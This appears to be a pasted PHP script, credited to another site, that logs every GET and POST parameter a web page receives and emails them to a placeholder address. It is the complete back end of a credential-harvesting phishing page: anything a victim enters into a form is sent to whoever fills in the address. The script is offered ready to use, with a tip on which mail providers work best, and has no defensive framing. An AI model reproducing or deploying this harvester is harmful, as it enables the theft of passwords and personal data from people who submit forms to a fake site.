1. // Not Mine, www.lamezz.com
  2.  
  3. <?php
  4. $posts = '';
  5. $gets = '';
  6.  
  7. function logPost($value,$key)
  8. {
  9. global $posts;
  10. $posts = $posts . " !!===!! " . $key . " = " . $value;
  11. }
  12.  
  13. function logGet($value,$key)
  14. {
  15. global $gets;
  16. $gets = $gets . " !!===!! " . $key . " = " . $value;
  17. }
  18.  
  19. array_walk($_GET,"logGet");
  20. array_walk($_POST,"logPost");
  21.  
  22. //Works best with Gmail and Yahoo!
  23. mail("YOUR E-MAIL","SUBJECT","POST:\n\n{$posts}\n---------------------------------\nGET:\n\n{$gets}\n\nEND OF EMAIL");
  24. ?>
  25.